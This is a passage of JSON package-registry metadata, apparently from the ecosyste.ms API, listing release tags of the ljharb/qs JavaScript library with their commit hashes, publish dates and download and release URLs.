qs/tar.gz/v6.7.4","html_url":"https://github.com/ljharb/qs/releases/tag/v6.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.7.4/manifests"},{"name":"v6.8.4","sha":"0f2b1e2806628463f32f580b8a23a4a168bb9008","kind":"tag","published_at":"2026-02-12T05:58:12.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.8.4","html_url":"https://github.com/ljharb/qs/releases/tag/v6.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.8.4/manifests"},{"name":"v6.9.8","sha":"479d4b189a0da939110b59344eb87daad7f081b3","kind":"tag","published_at":"2026-02-12T05:55:55.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.9.8","html_url":"https://github.com/ljharb/qs/releases/tag/v6.9.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.9.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.9.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.9.8/manifests"},{"name":"v6.10.6","sha":"1aa4bd9bc950de26645210cbc063a48e7d289450","kind":"tag","published_at":"2026-02-12T05:55:02.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.10.6","html_url":"https://github.com/ljharb/qs/releases/tag/v6.10.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.10.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.10.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.10.6/manifests"},{"name":"v6.11.3","sha":"6302f3539360edbd3a157634b2ca2c0c885af9d8","kind":"tag","published_at":"2026-02-12T05:54:35.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.11.3","html_url":"https://github.com/ljharb/qs/releases/tag/v6.11.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.11.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.11.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.11.3/manifests"},{"name":"v6.12.4","sha":"a67173ec4573acd0b00037e630a34c9a53554886","kind":"tag","published_at":"2026-02-12T05:53:59.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.12.4","html_url":"https://github.com/ljharb/qs/releases/tag/v6.12.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.12.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.12.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.12.4/manifests"},{"name":"v6.13.2","sha":"d8a8ab38a06f244bc9adfd43636f96c873bc8107","kind":"tag","published_at":"2026-02-12T05:52:30.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.13.2","html_url":"https://github.com/ljharb/qs/releases/tag/v6.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.13.2/manifests"},{"name":"v6.14.2","sha":"bdcf0c7f82387c18ac8fabfccd2f440645cef47b","kind":"tag","published_at":"2026-02-11T22:55:17.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.14.2","html_url":"https://github.com/ljharb/qs/releases/tag/v6.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.14.2/manifests"},{"name":"v6.14.1","sha":"3fa11a5f643c76896387bd2d86904a2d0141fdf7","kind":"tag","published_at":"2025-12-29T22:00:51.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.14.1","html_url":"https://github.com/ljharb/qs/releases/tag/v6.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.14.1/manifests"},{"name":"v6.14.0","sha":"32dcc637f90be175c0d4617b429263115a87e3a8","kind":"tag","published_at":"2025-01-14T18:02:37.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.14.0","html_url":"https://github.com/ljharb/qs/releases/tag/v6.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.14.0/manifests"},{"name":"v6.13.1","sha":"f1ee0376c1dfd06606520f3268ee0c5f3aaece65","kind":"tag","published_at":"2024-11-17T18:32:54.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.13.1","html_url":"https://github.com/ljharb/qs/releases/tag/v6.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.13.1/manifests"},{"name":"v6.13.0","sha":"5cf516c0dd557d85d5f18d4a916c96cd9cfc2305","kind":"tag","published_at":"2024-08-01T17:18:42.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.13.0","html_url":"https://github.com/ljharb/qs/releases/tag/v6.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.13.0/manifests"},{"name":"v6.12.3","sha":"f90cc35dd65c7099c35ae75d7a1a67aab85220e1","kind":"tag","published_at":"2024-07-08T23:54:27.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.12.3","html_url":"https://github.com/ljharb/qs/releases/tag/v6.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.12.3/manifests"},{"name":"v6.12.2","sha":"d0dff11f06be1b2588e62865f5e4aa91f2dabafb","kind":"tag","published_at":"2024-07-01T18:08:57.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.12.2","html_url":"https://github.com/ljharb/qs/releases/tag/v6.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.12.2/manifests"},{"name":"v6.12.1","sha":"29dda211e8b02654f60975bdb703bcc73a8ee409","kind":"tag","published_at":"2024-04-12T22:24:39.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.12.1","html_url":"https://github.com/ljharb/qs/releases/tag/v6.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.12.1/manifests"},{"name":"v6.12.0","sha":"062334aa584809829822c077f5f9f41c1e253dab","kind":"tag","published_at":"2024-03-06T18:12:05.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.12.0","html_url":"https://github.com/ljharb/qs/releases/tag/v6.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.12.0/manifests"},{"name":"v6.11.2","sha":"410bdd3c8ae7f5d7ae9b52648b8642b8adc5e1c0","kind":"tag","published_at":"2023-05-15T16:08:13.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.11.2","html_url":"https://github.com/ljharb/qs/releases/tag/v6.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.11.2/manifests"},{"name":"v6.11.1","sha":"9dca37f15de317fe9ad0ced907cdf250ba310880","kind":"tag","published_at":"2023-03-06T22:24:36.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.11.1","html_url":"https://github.com/ljharb/qs/releases/tag/v6.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.11.1/manifests"},{"name":"v6.11.0","sha":"56763c12ec4fbf723333cbb32371cbd386c33cbb","kind":"tag","published_at":"2022-06-27T04:49:19.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.11.0","html_url":"https://github.com/ljharb/qs/releases/tag/v6.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.11.0/manifests"},{"name":"v6.10.5","sha":"95bc0185e157d400da4f43f1fcf1c7f008fd847e","kind":"tag","published_at":"2022-06-06T21:57:18.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.10.5","html_url":"https://github.com/ljharb/qs/releases/tag/v6.10.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.10.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.10.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.10.5/manifests"},{"name":"v6.10.4","sha":"ba9703c0340dfdeb73cb4387d6ab32c37768aa5b","kind":"tag","published_at":"2022-06-06T19:06:49.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.10.4","html_url":"https://github.com/ljharb/qs/releases/tag/v6.10.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.10.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.10.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.10.4/manifests"},{"name":"v6.10.3","sha":"f92ddb56089ae2c74f5ca7b0447fef3a97e8c9bc","kind":"tag","published_at":"2022-01-11T04:05:59.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.10.3","html_url":"https://github.com/ljharb/qs/releases/tag/v6.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.10.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.10.3/manifests"},{"name":"v6.2.4","sha":"90d9f2b45715b7b03da92113a7b8af236c01088d","kind":"tag","published_at":"2022-01-11T03:38:22.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.2.4","html_url":"https://github.com/ljharb/qs/releases/tag/v6.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.2.4/manifests"},{"name":"v6.3.3","sha":"ff235b4ca81f82728b745b71fbd4bad173535305","kind":"tag","published_at":"2022-01-10T22:55:13.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.3.3","html_url":"https://github.com/ljharb/qs/releases/tag/v6.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.3.3/manifests"},{"name":"v6.4.1","sha":"486aa46547b4e878d6e87183de95dd26d46fb020","kind":"tag","published_at":"2022-01-10T22:33:10.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.4.1","html_url":"https://github.com/ljharb/qs/releases/tag/v6.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.4.1/manifests"},{"name":"v6.5.3","sha":"298bfa55d6db00ddea78dd0333509aadf9bb3077","kind":"tag","published_at":"2022-01-10T07:29:43.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.5.3","html_url":"https://github.com/ljharb/qs/releases/tag/v6.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.5.3/manifests"},{"name":"v6.6.1","sha":"4cc653c08c583c0b39e2eea0bf1cd2226ac5ec51","kind":"tag","published_at":"2022-01-10T06:49:57.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.6.1","html_url":"https://github.com/ljharb/qs/releases/tag/v6.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.6.1/manifests"},{"name":"v6.7.3","sha":"834389afb51ac8cc03a22a0c76604c65776dc468","kind":"tag","published_at":"2022-01-10T06:48:25.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.7.3","html_url":"https://github.com/ljharb/qs/releases/tag/v6.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.7.3/manifests"},{"name":"v6.8.3","sha":"0db55386013a5d92503944ad42022fd8c112c983","kind":"tag","published_at":"2022-01-10T06:10:03.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.8.3","html_url":"https://github.com/ljharb/qs/releases/tag/v6.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.8.3/manifests"},{"name":"v6.9.7","sha":"4cd003291fe3b347884f797e548b58a12150a0e3","kind":"tag","published_at":"2022-01-09T17:25:50.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.9.7","html_url":"https://github.com/ljharb/qs/releases/tag/v6.9.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.9.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.9.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.9.7/manifests"},{"name":"v6.10.2","sha":"408ff95f1ab94ea73027bc8a7443afb62d41a72d","kind":"tag","published_at":"2021-12-06T05:47:08.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.10.2","html_url":"https://github.com/ljharb/qs/releases/tag/v6.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.10.2/manifests"},{"name":"v6.10.1","sha":"dd0f954e4c00b02915f4cdc3ee5174ebc351f1c8","kind":"tag","published_at":"2021-03-22T03:02:16.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.10.1","html_url":"https://github.com/ljharb/qs/releases/tag/v6.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.10.1/manifests"},{"name":"v6.10.0","sha":"7c1fcc53047ed2d7555910fbce9f72eed1e450b1","kind":"tag","published_at":"2021-03-18T19:38:41.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.10.0","html_url":"https://github.com/ljharb/qs/releases/tag/v6.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.10.0/manifests"},{"name":"v6.9.6","sha":"b522d2e9993a47afd810ed9a19d35aadb6323988","kind":"tag","published_at":"2021-01-14T04:53:02.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.9.6","html_url":"https://github.com/ljharb/qs/releases/tag/v6.9.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.9.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.9.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.9.6/manifests"},{"name":"v6.9.5","sha":"179fafc920123e60466a1729f9f2b43b2fd67212","kind":"tag","published_at":"2021-01-13T16:29:20.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.9.5","html_url":"https://github.com/ljharb/qs/releases/tag/v6.9.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.9.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.9.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.9.5/manifests"},{"name":"v6.9.4","sha":"8e014a7b1749ccec52104121950e7b0d251caa78","kind":"commit","published_at":"2020-05-03T21:38:57.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.9.4","html_url":"https://github.com/ljharb/qs/releases/tag/v6.9.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.9.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.9.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.9.4/manifests"},{"name":"v6.9.3","sha":"511e1c9e527679ca182b055895ce301ea82213ee","kind":"commit","published_at":"2020-03-25T19:50:51.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.9.3","html_url":"https://github.com/ljharb/qs/releases/tag/v6.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.9.3/manifests"},{"name":"v6.8.2","sha":"808b0b233e9408e0b5a7d7d19eb01093944240c5","kind":"commit","published_at":"2020-03-25T19:20:19.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.8.2","html_url":"https://github.com/ljharb/qs/releases/tag/v6.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.8.2/manifests"},{"name":"v6.7.2","sha":"bf93c5719c88e4c7ace17d747c62844988a65018","kind":"commit","published_at":"2020-03-25T19:10:46.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.7.2","html_url":"https://github.com/ljharb/qs/releases/tag/v6.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.7.2/manifests"},{"name":"v6.7.1","sha":"92f97f25e40bcc7cb3396ddc2ea813bcac0b4dac","kind":"commit","published_at":"2020-03-24T04:56:02.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.7.1","html_url":"https://github.com/ljharb/qs/releases/tag/v6.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.7.1/manifests"},{"name":"v6.8.1","sha":"47247f4ec3b527e5f71551fb6af5434672ecf756","kind":"commit","published_at":"2020-03-24T04:33:01.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.8.1","html_url":"https://github.com/ljharb/qs/releases/tag/v6.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.8.1/manifests"},{"name":"v6.9.2","sha":"ddc1ff9ca16a4b8963d7cf72d0a881732e54b8c9","kind":"commit","published_at":"2020-03-22T07:14:49.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.9.2","html_url":"https://github.com/ljharb/qs/releases/tag/v6.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.9.2/manifests"},{"name":"v6.9.1","sha":"7b368004723b8d11d4d237ff0479b9edcfb41449","kind":"commit","published_at":"2019-11-08T06:32:26.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.9.1","html_url":"https://github.com/ljharb/qs/releases/tag/v6.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.9.1/manifests"},{"name":"v6.9.0","sha":"670254b63fc7770894eed9a0f020bc0b72698ce3","kind":"commit","published_at":"2019-09-21T21:03:59.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.9.0","html_url":"https://github.com/ljharb/qs/releases/tag/v6.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.9.0/manifests"},{"name":"v6.8.0","sha":"7ebe4ad78f6abc9fcc15bdfd0e5a9a771b855cf5","kind":"commit","published_at":"2019-08-16T23:57:49.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.8.0","html_url":"https://github.com/ljharb/qs/releases/tag/v6.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.8.0/manifests"},{"name":"v6.7.0","sha":"125e103b61f2bef245970f5a2a8dceffe5aab59a","kind":"commit","published_at":"2019-03-22T20:16:46.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.7.0","html_url":"https://github.com/ljharb/qs/releases/tag/v6.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.7.0/manifests"},{"name":"v6.6.0","sha":"34af57edde61639054ea7b38fdfce050cffdab29","kind":"commit","published_at":"2018-09-17T23:06:12.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.6.0","html_url":"https://github.com/ljharb/qs/releases/tag/v6.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.6.0/manifests"},{"name":"v6.5.2","sha":"eaabd05558b657c75a137caf2eb030e8e856b82f","kind":"commit","published_at":"2018-05-03T22:46:31.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.5.2","html_url":"https://github.com/ljharb/qs/releases/tag/v6.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.5.2/manifests"},{"name":"v6.5.